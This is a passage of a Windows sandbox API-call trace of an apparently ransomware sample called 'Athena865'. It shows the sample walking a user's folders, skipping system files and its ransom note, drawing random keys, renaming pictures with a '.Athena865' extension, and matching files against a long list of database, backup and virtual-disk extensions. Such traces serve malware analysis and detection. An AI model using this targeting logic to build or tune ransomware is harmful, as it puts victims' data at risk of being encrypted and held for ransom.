0x518c50 [0051.700] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0051.700] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0051.700] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.701] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xed80, lpName=0x0) returned 0x154 [0051.701] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xed80) returned 0x100000 [0051.703] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0051.703] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0051.703] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.704] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0051.704] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0051.704] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0051.704] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0051.704] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0051.704] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0051.704] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ab00 [0051.704] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0051.704] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0051.704] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0051.704] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0051.705] CloseHandle (hObject=0x154) returned 1 [0051.705] CloseHandle (hObject=0x17c) returned 1 [0051.706] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0051.706] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0051.706] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0051.706] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb471a0, ftCreationTime.dwHighDateTime=0x1d4cf58, ftLastAccessTime.dwLowDateTime=0xd0d21220, ftLastAccessTime.dwHighDateTime=0x1d4c903, ftLastWriteTime.dwLowDateTime=0xd0d21220, ftLastWriteTime.dwHighDateTime=0x1d4c903, nFileSizeHigh=0x0, nFileSizeLow=0xf8e8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nJ8IVrMa642w.bmp", cAlternateFileName="NJ8IVR~1.BMP")) returned 1 [0051.706] lstrcmpiW (lpString1="nJ8IVrMa642w.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0051.706] lstrcmpiW (lpString1="nJ8IVrMa642w.bmp", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0051.706] lstrcmpiW (lpString1="nJ8IVrMa642w.bmp", lpString2=".") returned 1 [0051.707] lstrcmpiW (lpString1="nJ8IVrMa642w.bmp", lpString2="..") returned 1 [0051.707] lstrcmpiW (lpString1="nJ8IVrMa642w.bmp", lpString2="windows") returned -1 [0051.707] lstrcmpiW (lpString1="nJ8IVrMa642w.bmp", lpString2="bootmgr") returned 1 [0051.707] lstrcmpiW (lpString1="nJ8IVrMa642w.bmp", lpString2="temp") returned -1 [0051.707] lstrcmpiW (lpString1="nJ8IVrMa642w.bmp", lpString2="pagefile.sys") returned -1 [0051.707] lstrcmpiW (lpString1="nJ8IVrMa642w.bmp", lpString2="boot") returned 1 [0051.707] lstrcmpiW (lpString1="nJ8IVrMa642w.bmp", lpString2="ids.txt") returned 1 [0051.707] lstrcmpiW (lpString1="nJ8IVrMa642w.bmp", lpString2="ntuser.dat") returned -1 [0051.707] lstrcmpiW (lpString1="nJ8IVrMa642w.bmp", lpString2="perflogs") returned -1 [0051.707] lstrcmpiW (lpString1="nJ8IVrMa642w.bmp", lpString2="MSBuild") returned 1 [0051.707] lstrlenW (lpString="nJ8IVrMa642w.bmp") returned 16 [0051.707] lstrcpyW (in: lpString1=0x241e8b8, lpString2="nJ8IVrMa642w.bmp" | out: lpString1="nJ8IVrMa642w.bmp") returned="nJ8IVrMa642w.bmp" [0051.707] lstrlenW (lpString="nJ8IVrMa642w.bmp") returned 16 [0051.707] lstrlenW (lpString="Athena865") returned 9 [0051.707] lstrcmpiW (lpString1="a642w.bmp", lpString2="Athena865") returned -1 [0051.707] lstrlenW (lpString=".dll") returned 4 [0051.707] lstrcmpiW (lpString1="nJ8IVrMa642w.bmp", lpString2=".dll") returned 1 [0051.707] lstrlenW (lpString=".lnk") returned 4 [0051.707] lstrcmpiW (lpString1="nJ8IVrMa642w.bmp", lpString2=".lnk") returned 1 [0051.707] lstrlenW (lpString=".ini") returned 4 [0051.707] lstrcmpiW (lpString1="nJ8IVrMa642w.bmp", lpString2=".ini") returned 1 [0051.707] lstrlenW (lpString=".sys") returned 4 [0051.707] lstrcmpiW (lpString1="nJ8IVrMa642w.bmp", lpString2=".sys") returned 1 [0051.707] lstrlenW (lpString="nJ8IVrMa642w.bmp") returned 16 [0051.707] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\nJ8IVrMa642w.bmp.Athena865") returned 82 [0051.707] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\nJ8IVrMa642w.bmp" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\nj8ivrma642w.bmp"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\nJ8IVrMa642w.bmp.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\nj8ivrma642w.bmp.athena865"), dwFlags=0x1) returned 1 [0051.708] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\nJ8IVrMa642w.bmp.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\nj8ivrma642w.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0051.708] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=63720) returned 1 [0051.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0051.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0051.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0051.708] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0051.709] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0051.709] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.709] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xfbf0, lpName=0x0) returned 0x154 [0051.710] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xfbf0) returned 0x100000 [0051.712] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0051.712] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0051.712] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.713] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0051.713] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0051.713] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0051.713] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0051.713] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0051.713] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0051.713] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ab00 [0051.713] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0051.713] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0051.713] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0051.713] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0051.714] CloseHandle (hObject=0x154) returned 1 [0051.714] CloseHandle (hObject=0x17c) returned 1 [0051.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0051.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0051.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0051.715] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7088b320, ftCreationTime.dwHighDateTime=0x1d4cbf5, ftLastAccessTime.dwLowDateTime=0xc78ed010, ftLastAccessTime.dwHighDateTime=0x1d4c9a1, ftLastWriteTime.dwLowDateTime=0xc78ed010, ftLastWriteTime.dwHighDateTime=0x1d4c9a1, nFileSizeHigh=0x0, nFileSizeLow=0x1294, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nQTw2Rxk0zIkw5zS.gif", cAlternateFileName="NQTW2R~1.GIF")) returned 1 [0051.716] lstrcmpiW (lpString1="nQTw2Rxk0zIkw5zS.gif", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0051.716] lstrcmpiW (lpString1="nQTw2Rxk0zIkw5zS.gif", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0051.716] lstrcmpiW (lpString1="nQTw2Rxk0zIkw5zS.gif", lpString2=".") returned 1 [0051.716] lstrcmpiW (lpString1="nQTw2Rxk0zIkw5zS.gif", lpString2="..") returned 1 [0051.716] lstrcmpiW (lpString1="nQTw2Rxk0zIkw5zS.gif", lpString2="windows") returned -1 [0051.716] lstrcmpiW (lpString1="nQTw2Rxk0zIkw5zS.gif", lpString2="bootmgr") returned 1 [0051.716] lstrcmpiW (lpString1="nQTw2Rxk0zIkw5zS.gif", lpString2="temp") returned -1 [0051.716] lstrcmpiW (lpString1="nQTw2Rxk0zIkw5zS.gif", lpString2="pagefile.sys") returned -1 [0051.716] lstrcmpiW (lpString1="nQTw2Rxk0zIkw5zS.gif", lpString2="boot") returned 1 [0051.716] lstrcmpiW (lpString1="nQTw2Rxk0zIkw5zS.gif", lpString2="ids.txt") returned 1 [0051.716] lstrcmpiW (lpString1="nQTw2Rxk0zIkw5zS.gif", lpString2="ntuser.dat") returned -1 [0051.716] lstrcmpiW (lpString1="nQTw2Rxk0zIkw5zS.gif", lpString2="perflogs") returned -1 [0051.716] lstrcmpiW (lpString1="nQTw2Rxk0zIkw5zS.gif", lpString2="MSBuild") returned 1 [0051.716] lstrlenW (lpString="nQTw2Rxk0zIkw5zS.gif") returned 20 [0051.716] lstrcpyW (in: lpString1=0x241e8b8, lpString2="nQTw2Rxk0zIkw5zS.gif" | out: lpString1="nQTw2Rxk0zIkw5zS.gif") returned="nQTw2Rxk0zIkw5zS.gif" [0051.716] lstrlenW (lpString="nQTw2Rxk0zIkw5zS.gif") returned 20 [0051.716] lstrlenW (lpString="Athena865") returned 9 [0051.716] lstrcmpiW (lpString1="kw5zS.gif", lpString2="Athena865") returned 1 [0051.716] lstrlenW (lpString=".dll") returned 4 [0051.716] lstrcmpiW (lpString1="nQTw2Rxk0zIkw5zS.gif", lpString2=".dll") returned 1 [0051.716] lstrlenW (lpString=".lnk") returned 4 [0051.716] lstrcmpiW (lpString1="nQTw2Rxk0zIkw5zS.gif", lpString2=".lnk") returned 1 [0051.716] lstrlenW (lpString=".ini") returned 4 [0051.716] lstrcmpiW (lpString1="nQTw2Rxk0zIkw5zS.gif", lpString2=".ini") returned 1 [0051.716] lstrlenW (lpString=".sys") returned 4 [0051.716] lstrcmpiW (lpString1="nQTw2Rxk0zIkw5zS.gif", lpString2=".sys") returned 1 [0051.716] lstrlenW (lpString="nQTw2Rxk0zIkw5zS.gif") returned 20 [0051.716] lstrlenW (lpString="bak") returned 3 [0051.717] lstrcmpiW (lpString1="gif", lpString2="bak") returned 1 [0051.717] lstrlenW (lpString="ba_") returned 3 [0051.717] lstrcmpiW (lpString1="gif", lpString2="ba_") returned 1 [0051.717] lstrlenW (lpString="dbb") returned 3 [0051.717] lstrcmpiW (lpString1="gif", lpString2="dbb") returned 1 [0051.717] lstrlenW (lpString="vmdk") returned 4 [0051.717] lstrcmpiW (lpString1=".gif", lpString2="vmdk") returned -1 [0051.717] lstrlenW (lpString="rar") returned 3 [0051.717] lstrcmpiW (lpString1="gif", lpString2="rar") returned -1 [0051.717] lstrlenW (lpString="zip") returned 3 [0051.717] lstrcmpiW (lpString1="gif", lpString2="zip") returned -1 [0051.717] lstrlenW (lpString="tgz") returned 3 [0051.717] lstrcmpiW (lpString1="gif", lpString2="tgz") returned -1 [0051.717] lstrlenW (lpString="vbox") returned 4 [0051.717] lstrcmpiW (lpString1=".gif", lpString2="vbox") returned -1 [0051.717] lstrlenW (lpString="vdi") returned 3 [0051.717] lstrcmpiW (lpString1="gif", lpString2="vdi") returned -1 [0051.717] lstrlenW (lpString="vhd") returned 3 [0051.717] lstrcmpiW (lpString1="gif", lpString2="vhd") returned -1 [0051.717] lstrlenW (lpString="vhdx") returned 4 [0051.717] lstrcmpiW (lpString1=".gif", lpString2="vhdx") returned -1 [0051.717] lstrlenW (lpString="avhd") returned 4 [0051.717] lstrcmpiW (lpString1=".gif", lpString2="avhd") returned -1 [0051.717] lstrlenW (lpString="db") returned 2 [0051.717] lstrcmpiW (lpString1="if", lpString2="db") returned 1 [0051.717] lstrlenW (lpString="db2") returned 3 [0051.717] lstrcmpiW (lpString1="gif", lpString2="db2") returned 1 [0051.717] lstrlenW (lpString="db3") returned 3 [0051.717] lstrcmpiW (lpString1="gif", lpString2="db3") returned 1 [0051.717] lstrlenW (lpString="dbf") returned 3 [0051.717] lstrcmpiW (lpString1="gif", lpString2="dbf") returned 1 [0051.717] lstrlenW (lpString="mdf") returned 3 [0051.717] lstrcmpiW (lpString1="gif", lpString2="mdf") returned -1 [0051.717] lstrlenW (lpString="mdb") returned 3 [0051.718] lstrcmpiW (lpString1="gif", lpString2="mdb") returned -1 [0051.718] lstrlenW (lpString="sql") returned 3 [0051.718] lstrcmpiW (lpString1="gif", lpString2="sql") returned -1 [0051.718] lstrlenW (lpString="sqlite") returned 6 [0051.718] lstrcmpiW (lpString1="zS.gif", lpString2="sqlite") returned 1 [0051.718] lstrlenW (lpString="sqlite3") returned 7 [0051.718] lstrcmpiW (lpString1="5zS.gif", lpString2="sqlite3") returned -1 [0051.718] lstrlenW (lpString="sqlitedb") returned 8 [0051.718] lstrcmpiW (lpString1="w5zS.gif", lpString2="sqlitedb") returned 1 [0051.718] lstrlenW (lpString="xml") returned 3 [0051.718] lstrcmpiW (lpString1="gif", lpString2="xml") returned -1 [0051.718] lstrlenW (lpString="$er") returned 3 [0051.718] lstrcmpiW (lpString1="gif", lpString2="$er") returned 1 [0051.718] lstrlenW (lpString="4dd") returned 3 [0051.718] lstrcmpiW (lpString1="gif", lpString2="4dd") returned 1 [0051.718] lstrlenW (lpString="4dl") returned 3 [0051.718] lstrcmpiW (lpString1="gif", lpString2="4dl") returned 1 [0051.718] lstrlenW (lpString="^^^") returned 3 [0051.718] lstrcmpiW (lpString1="gif", lpString2="^^^") returned 1 [0051.718] lstrlenW (lpString="abs") returned 3 [0051.718] lstrcmpiW (lpString1="gif", lpString2="abs") returned 1 [0051.718] lstrlenW (lpString="abx") returned 3 [0051.718] lstrcmpiW (lpString1="gif", lpString2="abx") returned 1 [0051.718] lstrlenW (lpString="accdb") returned 5 [0051.718] lstrcmpiW (lpString1="S.gif", lpString2="accdb") returned 1 [0051.718] lstrlenW (lpString="accdc") returned 5 [0051.718] lstrcmpiW (lpString1="S.gif", lpString2="accdc") returned 1 [0051.718] lstrlenW (lpString="accde") returned 5 [0051.718] lstrcmpiW (lpString1="S.gif", lpString2="accde") returned 1 [0051.718] lstrlenW (lpString="accdr") returned 5 [0051.718] lstrcmpiW (lpString1="S.gif", lpString2="accdr") returned 1 [0051.718] lstrlenW (lpString="accdt") returned 5 [0051.718] lstrcmpiW (lpString1="S.gif", lpString2="accdt") returned 1 [0051.718] lstrlenW (lpString="accdw") returned 5 [0051.719] lstrcmpiW (lpString1="S.gif", lpString2="accdw") returned 1 [0051.719] lstrlenW (lpString="accft") returned 5 [0051.719] lstrcmpiW (lpString1="S.gif", lpString2="accft") returned 1 [0051.719] lstrlenW (lpString="adb") returned 3 [0051.719] lstrcmpiW (lpString1="gif", lpString2="adb") returned 1 [0051.719] lstrlenW (lpString="adb") returned 3 [0051.719] lstrcmpiW (lpString1="gif", lpString2="adb") returned 1 [0051.719] lstrlenW (lpString="ade") returned 3 [0051.719] lstrcmpiW (lpString1="gif", lpString2="ade") returned 1 [0051.719] lstrlenW (lpString="adf") returned 3 [0051.719] lstrcmpiW (lpString1="gif", lpString2="adf") returned 1 [0051.719] lstrlenW (lpString="adn") returned 3 [0051.719] lstrcmpiW (lpString1="gif", lpString2="adn") returned 1 [0051.719] lstrlenW (lpString="adp") returned 3 [0051.719] lstrcmpiW (lpString1="gif", lpString2="adp") returned 1 [0051.719] lstrlenW (lpString="alf") returned 3 [0051.719] lstrcmpiW (lpString1="gif", lpString2="alf") returned 1 [0051.719] lstrlenW (lpString="ask") returned 3 [0051.719] lstrcmpiW (lpString1="gif", lpString2="ask") returned 1 [0051.719] lstrlenW (lpString="btr") returned 3 [0051.719] lstrcmpiW (lpString1="gif", lpString2="btr") returned 1 [0051.719] lstrlenW (lpString="cat") returned 3 [0051.719] lstrcmpiW (lpString1="gif", lpString2="cat") returned 1 [0051.719] lstrlenW (lpString="cdb") returned 3 [0051.719] lstrcmpiW (lpString1="gif", lpString2="cdb") returned 1 [0051.719] lstrlenW (lpString="ckp") returned 3 [0051.719] lstrcmpiW (lpString1="gif", lpString2="ckp") returned 1 [0051.719] lstrlenW (lpString="cma") returned 3 [0051.719] lstrcmpiW (lpString1="gif", lpString2="cma") returned 1 [0051.719] lstrlenW (lpString="cpd") returned 3 [0051.719] lstrcmpiW (lpString1="gif", lpString2="cpd") returned 1 [0051.719] lstrlenW (lpString="dacpac") returned 6 [0051.719] lstrcmpiW (lpString1="zS.gif", lpString2="dacpac") returned 1 [0051.719] lstrlenW (lpString="dad") returned 3 [0051.720] lstrcmpiW (lpString1="gif", lpString2="dad") returned 1 [0051.720] lstrlenW (lpString="dadiagrams") returned 10 [0051.720] lstrcmpiW (lpString1="Ikw5zS.gif", lpString2="dadiagrams") returned 1 [0051.720] lstrlenW (lpString="daschema") returned 8 [0051.720] lstrcmpiW (lpString1="w5zS.gif", lpString2="daschema") returned 1 [0051.720] lstrlenW (lpString="db-journal") returned 10 [0051.720] lstrcmpiW (lpString1="Ikw5zS.gif", lpString2="db-journal") returned 1 [0051.720] lstrlenW (lpString="db-shm") returned 6 [0051.720] lstrcmpiW (lpString1="zS.gif", lpString2="db-shm") returned 1 [0051.720] lstrlenW (lpString="db-wal") returned 6 [0051.720] lstrcmpiW (lpString1="zS.gif", lpString2="db-wal") returned 1 [0051.720] lstrlenW (lpString="dbc") returned 3 [0051.720] lstrcmpiW (lpString1="gif", lpString2="dbc") returned 1 [0051.720] lstrlenW (lpString="dbs") returned 3 [0051.720] lstrcmpiW (lpString1="gif", lpString2="dbs") returned 1 [0051.720] lstrlenW (lpString="dbt") returned 3 [0051.720] lstrcmpiW (lpString1="gif", lpString2="dbt") returned 1 [0051.720] lstrlenW (lpString="dbv") returned 3 [0051.720] lstrcmpiW (lpString1="gif", lpString2="dbv") returned 1 [0051.720] lstrlenW (lpString="dbx") returned 3 [0051.721] lstrcmpiW (lpString1="gif", lpString2="dbx") returned 1 [0051.721] lstrlenW (lpString="dcb") returned 3 [0051.721] lstrcmpiW (lpString1="gif", lpString2="dcb") returned 1 [0051.721] lstrlenW (lpString="dct") returned 3 [0051.721] lstrcmpiW (lpString1="gif", lpString2="dct") returned 1 [0051.721] lstrlenW (lpString="dcx") returned 3 [0051.721] lstrcmpiW (lpString1="gif", lpString2="dcx") returned 1 [0051.721] lstrlenW (lpString="ddl") returned 3 [0051.721] lstrcmpiW (lpString1="gif", lpString2="ddl") returned 1 [0051.721] lstrlenW (lpString="dlis") returned 4 [0051.721] lstrcmpiW (lpString1=".gif", lpString2="dlis") returned -1 [0051.721] lstrlenW (lpString="dp1") returned 3 [0051.721] lstrcmpiW (lpString1="gif", lpString2="dp1") returned 1 [0051.721] lstrlenW (lpString="dqy") returned 3 [0051.722] lstrcmpiW (lpString1="gif", lpString2="dqy") returned 1 [0051.722] lstrlenW (lpString="dsk") returned 3 [0051.722] lstrcmpiW (lpString1="gif", lpString2="dsk") returned 1 [0051.722] lstrlenW (lpString="dsn") returned 3 [0051.722] lstrcmpiW (lpString1="gif", lpString2="dsn") returned 1 [0051.722] lstrlenW (lpString="dtsx") returned 4 [0051.722] lstrcmpiW (lpString1=".gif", lpString2="dtsx") returned -1 [0051.722] lstrlenW (lpString="dxl") returned 3 [0051.722] lstrcmpiW (lpString1="gif", lpString2="dxl") returned 1 [0051.722] lstrlenW (lpString="eco") returned 3 [0051.722] lstrcmpiW (lpString1="gif", lpString2="eco") returned 1 [0051.722] lstrlenW (lpString="ecx") returned 3 [0051.722] lstrcmpiW (lpString1="gif", lpString2="ecx") returned 1 [0051.722] lstrlenW (lpString="edb") returned 3 [0051.722] lstrcmpiW (lpString1="gif", lpString2="edb") returned 1 [0051.722] lstrlenW (lpString="epim") returned 4 [0051.722] lstrcmpiW (lpString1=".gif", lpString2="epim") returned -1 [0051.722] lstrlenW (lpString="fcd") returned 3 [0051.722] lstrcmpiW (lpString1="gif", lpString2="fcd") returned 1 [0051.722] lstrlenW (lpString="fdb") returned 3 [0051.722] lstrcmpiW (lpString1="gif", lpString2="fdb") returned 1 [0051.722] lstrlenW (lpString="fic") returned 3 [0051.722] lstrcmpiW (lpString1="gif", lpString2="fic") returned 1 [0051.722] lstrlenW (lpString="flexolibrary") returned 12 [0051.722] lstrcmpiW (lpString1="0zIkw5zS.gif", lpString2="flexolibrary") returned -1 [0051.722] lstrlenW (lpString="fm5") returned 3 [0051.722] lstrcmpiW (lpString1="gif", lpString2="fm5") returned 1 [0051.722] lstrlenW (lpString="fmp") returned 3 [0051.722] lstrcmpiW (lpString1="gif", lpString2="fmp") returned 1 [0051.722] lstrlenW (lpString="fmp12") returned 5 [0051.722] lstrcmpiW (lpString1="S.gif", lpString2="fmp12") returned 1 [0051.722] lstrlenW (lpString="fmpsl") returned 5 [0051.723] lstrcmpiW (lpString1="S.gif", lpString2="fmpsl") returned 1 [0051.723] lstrlenW (lpString="fol") returned 3 [0051.723] lstrcmpiW (lpString1="gif", lpString2="fol") returned 1 [0051.723] lstrlenW (lpString="fp3") returned 3 [0051.723] lstrcmpiW (lpString1="gif", lpString2="fp3") returned 1 [0051.723] lstrlenW (lpString="fp4") returned 3 [0051.723] lstrcmpiW (lpString1="gif", lpString2="fp4") returned 1 [0051.723] lstrlenW (lpString="fp5") returned 3 [0051.723] lstrcmpiW (lpString1="gif", lpString2="fp5") returned 1 [0051.723] lstrlenW (lpString="fp7") returned 3 [0051.723] lstrcmpiW (lpString1="gif", lpString2="fp7") returned 1 [0051.723] lstrlenW (lpString="fpt") returned 3 [0051.723] lstrcmpiW (lpString1="gif", lpString2="fpt") returned 1 [0051.723] lstrlenW (lpString="frm") returned 3 [0051.723] lstrcmpiW (lpString1="gif", lpString2="frm") returned 1 [0051.723] lstrlenW (lpString="gdb") returned 3 [0051.723] lstrcmpiW (lpString1="gif", lpString2="gdb") returned 1 [0051.723] lstrlenW (lpString="gdb") returned 3 [0051.723] lstrcmpiW (lpString1="gif", lpString2="gdb") returned 1 [0051.723] lstrlenW (lpString="grdb") returned 4 [0051.723] lstrcmpiW (lpString1=".gif", lpString2="grdb") returned -1 [0051.723] lstrlenW (lpString="gwi") returned 3 [0051.723] lstrcmpiW (lpString1="gif", lpString2="gwi") returned -1 [0051.723] lstrlenW (lpString="hdb") returned 3 [0051.723] lstrcmpiW (lpString1="gif", lpString2="hdb") returned -1 [0051.723] lstrlenW (lpString="his") returned 3 [0051.723] lstrcmpiW (lpString1="gif", lpString2="his") returned -1 [0051.723] lstrlenW (lpString="ib") returned 2 [0051.723] lstrcmpiW (lpString1="if", lpString2="ib") returned 1 [0051.723] lstrlenW (lpString="idb") returned 3 [0051.723] lstrcmpiW (lpString1="gif", lpString2="idb") returned -1 [0051.723] lstrlenW (lpString="ihx") returned 3 [0051.723] lstrcmpiW (lpString1="gif", lpString2="ihx") returned -1 [0051.724] lstrlenW (lpString="itdb") returned 4 [0051.724] lstrcmpiW (lpString1=".gif", lpString2="itdb") returned -1 [0051.724] lstrlenW (lpString="itw") returned 3 [0051.724] lstrcmpiW (lpString1="gif", lpString2="itw") returned -1 [0051.724] lstrlenW (lpString="jet") returned 3 [0051.724] lstrcmpiW (lpString1="gif", lpString2="jet") returned -1 [0051.724] lstrlenW (lpString="jtx") returned 3 [0051.724] lstrcmpiW (lpString1="gif", lpString2="jtx") returned -1 [0051.724] lstrlenW (lpString="kdb") returned 3 [0051.724] lstrcmpiW (lpString1="gif", lpString2="kdb") returned -1 [0051.724] lstrlenW (lpString="kexi") returned 4 [0051.724] lstrcmpiW (lpString1=".gif", lpString2="kexi") returned -1 [0051.724] lstrlenW (lpString="kexic") returned 5 [0051.724] lstrcmpiW (lpString1="S.gif", lpString2="kexic") returned 1 [0051.724] lstrlenW (lpString="kexis") returned 5 [0051.724] lstrcmpiW (lpString1="S.gif", lpString2="kexis") returned 1 [0051.724] lstrlenW (lpString="lgc") returned 3 [0051.724] lstrcmpiW (lpString1="gif", lpString2="lgc") returned -1 [0051.724] lstrlenW (lpString="lwx") returned 3 [0051.724] lstrcmpiW (lpString1="gif", lpString2="lwx") returned -1 [0051.724] lstrlenW (lpString="maf") returned 3 [0051.724] lstrcmpiW (lpString1="gif", lpString2="maf") returned -1 [0051.724] lstrlenW (lpString="maq") returned 3 [0051.724] lstrcmpiW (lpString1="gif", lpString2="maq") returned -1 [0051.724] lstrlenW (lpString="mar") returned 3 [0051.724] lstrcmpiW (lpString1="gif", lpString2="mar") returned -1 [0051.724] lstrlenW (lpString="marshal") returned 7 [0051.724] lstrcmpiW (lpString1="5zS.gif", lpString2="marshal") returned -1 [0051.724] lstrlenW (lpString="mas") returned 3 [0051.724] lstrcmpiW (lpString1="gif", lpString2="mas") returned -1 [0051.724] lstrlenW (lpString="mav") returned 3 [0051.724] lstrcmpiW (lpString1="gif", lpString2="mav") returned -1 [0051.724] lstrlenW (lpString="maw") returned 3 [0051.724] lstrcmpiW (lpString1="gif", lpString2="maw") returned -1 [0051.725] lstrlenW (lpString="mdbhtml") returned 7 [0051.725] lstrcmpiW (lpString1="5zS.gif", lpString2="mdbhtml") returned -1 [0051.725] lstrlenW (lpString="mdn") returned 3 [0051.725] lstrcmpiW (lpString1="gif", lpString2="mdn") returned -1 [0051.725] lstrlenW (lpString="mdt") returned 3 [0051.725] lstrcmpiW (lpString1="gif", lpString2="mdt") returned -1 [0051.725] lstrlenW (lpString="mfd") returned 3 [0051.725] lstrcmpiW (lpString1="gif", lpString2="mfd") returned -1 [0051.725] lstrlenW 